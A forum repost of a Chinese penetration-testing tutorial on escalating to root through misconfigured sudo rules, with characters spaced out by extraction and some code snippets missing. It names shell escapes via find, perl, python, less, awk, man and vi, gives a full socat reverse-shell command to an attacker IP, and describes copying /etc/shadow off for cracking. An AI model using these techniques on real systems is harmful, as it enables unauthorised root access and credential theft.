搜索

[367] 2020-12-31_利用sudo进行linux提权

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2020-12-31_利用sudo进行linux提权 利 用 s u d o 进 行 l i n u x 提 权 原 创   a F a 攻 防 实 验 室   a F a 攻 防 实 验 室   2 0 2 0 - 1 2 - 3 1 收 录 于 话 题   # 内 网 攻 防   , 4 3 个 s u d o 和 和 s u 的 区 别 的 区 别 1 ， s u d o 是 以 r o o t 权 限 去 运 行 一 个 命 令 ， s u 是 去 切 换 用 户 的 身 份 。 2 ， s u d o 只 要 知 道 自 己 的 密 码 即 可 ， s u 需 要 知 道 被 切 换 用 户 的 密 码 。 s u d o e r s 文 件 文 件 / e t c / s u d o e r s 文 件 ， 是 s u d o 权 限 的 配 置 文 件 。 当 使 用 s u d o 接 命 令 时 ， l i n u x 系 统 会 在 s u d o e r s 文 件 中 查 找 当 前 用 户 ， 根 据 当 前 用 户 权 限 配 置 来 决 定 是 否 可 以 运 行 相 关 命 令 。 例 如 添 加 t e s t 用 户 的 相 关 配 置 ： 格 式 如 下 ：
s u d o   s u   & &   s u d o   b a s h 当 没 有 对 普 通 用 户 做 严 格 的 限 制 时 ， 或 者 配 置 权 限 过 大 时 ， 则 可 以 尝 试 s u d o   s u 来 切 换 到 r o o t 权 限 。 或 者 执 行 s u d o   b a s h 。 当 v i s u d o 命 令 不 能 用 时 ， 限 制 了 部 分 命 令 ， 则 可 以 尝 试 下 v i m 是 否 被 禁 用 ， s u d o   v i m 也 可 以 编 辑 s u d o e r s 文 件 ， 且 w q ! 可 以 成 功 保 存 。 其 他 命 令 其 他 命 令 也 有 很 多 其 他 命 令 可 以 用 来 提 权 ， 和 之 前 的 S U I D 提 权 中 说 的 命 令 类 似 ， 例 如 s u d o 允 许 f i n d 命 令 ， 则 可 以 通 过 e x e c 参 数 来 切 换 到 r o o t 权 限 。 这 里 添 加 新 用 户 a a a ， 并 修 改 s u d o e r s 文 件 ， 允 许 部 分 命 令 ， 内 容 如 下 。 这 时 a a a 用 户 使 用 s u d o 就 只 能 执 行 配 置 好 的 命 令 ， s u d o   s u 和 s u d o   b a s h 被 禁 止 执 行 。 相 关 命 令 提 权 方 式 如 下 ： f i n d ： e x e c 参 数 用 来 指 定 搜 索 结 果 的 处 理 命 令 ， 需 要 以 分 号 结 尾 ， 分 号 在 命 令 行 有 特 殊 函 数 ， 要 用 进 行 转 义 。 a a a     A L L = ( A L L : A L L )   / u s r / b i n / f i n d , / u s r / b i n / p e r l , / u s r / b i n / p y t h o n 3 , / u s r / b i n / l e s s , / u s r / b i n / a w k , / u s r / b i n / m a n , / u s r / b i n / v i
p e r l ： e 参 数 用 来 指 定 要 运 行 的 命 令 ， 然 后 使 用 l i n u x 的 e x e c 参 数 来 调 用 b a s h 。 p y t h o n ： c 参 数 可 以 在 命 令 行 执 行 p y t h o n 代 码 ， p t y 库 是 一 个 伪 终 端 库 ， 它 的 s p a w n 会 调 用 指 定 的 程 序 。 l e s s ： 输 入 s u d o   l e s s   / e t c / h o s t s 命 令 浏 览 文 件 内 容 时 ， 到 底 部 输 入 ! b a s h 后 回 车 ， 会 获 得 一 个 r o o t 权 限 的 s h e l l 。 a w k ： 通 过 调 用 l i n u x 的 s y s t e m 函 数 来 打 开 b a s h 。 m a n ： 通 过 s u d o   m a n   m a n 命 令 来 打 开 m a n 的 使 用 手 册 ， 同 时 会 进 入 编 辑 行 ， 输 入 ! b a s h 回 车 ， 可 获 取 r o o t 权 限 。
v i ： s u d o   v i 会 进 入 v i 默 认 页 ， 输 入 : ! b a s h 回 车 ， 可 进 入 r o o t 命 令 行 。 脚 本 ： 如 果 s u d o e r s 定 义 了 可 以 执 行 某 个 脚 本 ， 则 我 们 可 以 把 返 回 s h e l l 的 代 码 添 加 进 去 。 例 如 桌 面 有 个 运 维 需 要 的 a a a . s h 文 件 ， 我 们 添 加 一 段 打 开 b a s h 的 代 码 ， 然 后 s u d o 运 行 即 可 。 参 考 代 码 ：
应 用 程 序 应 用 程 序 除 了 上 面 的 一 些 二 进 制 文 件 ， 一 些 应 用 程 序 也 可 以 获 取 r o o t 权 限 ， 例 如 e n v 、 f t p 、 s o c a t 、 s c p 。 e n v ： 通 过 e n v 环 境 变 量 来 获 取 r o o t 权 限 。 f t p ： 通 过 f t p 来 进 入 b a s h 获 取 r o o t 权 限 。 s o c a t ： 通 过 s o c a t 客 户 端 连 接 攻 击 机 ， 攻 击 机 可 获 得 r o o t s h e l l 。 先 执 行 服 务 端 ， 后 执 行 客 户 端 。 s u d o   s o c a t   e x e c : ' s h   - l i ' , p t y , s t d e r r , s e t s i d , s i g i n t , s a n e   t c p : 1 9 2 . 1 6 8 . 2 3 . 1 2 8 : 4 4 4 4 攻 击 机 执 行 ： s o c a t   f i l e : ` t t y ` , r a w , e c h o = 0   t c p - l i s t e n : 4 4 4 4
还 有 一 个 s c p ， s c p 是 一 个 安 全 复 制 文 件 的 命 令 ， 它 无 法 获 取 一 个 s h e l l ， 但 可 以 用 来 复 制 一 些 系 统 的 敏 感 文 件 。 例 如 e t c / p a s s w d 、 e t c / s h a d o w 等 。 如 下 命 令 ， 将 p a s s w d 文 件 传 输 到 指 定 机 器 的 r o o t / D e s k t o p 下 ， 然 后 再 对 密 码 进 行 破 解 等 操 作 。 黑 名 单 情 况 黑 名 单 情 况 如 果 碰 到 s u d o e r s 文 件 使 用 黑 名 单 的 情 况 ， 比 如 说 权 限 禁 用 s u d o 使 用 f i n d 命 令 ， 但 是 都 是 在 A L L 基 础 上 设 置 的 ， 那 么 可 以 c p 把 f i n d 复 制 到 其 它 目 录 运 行 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理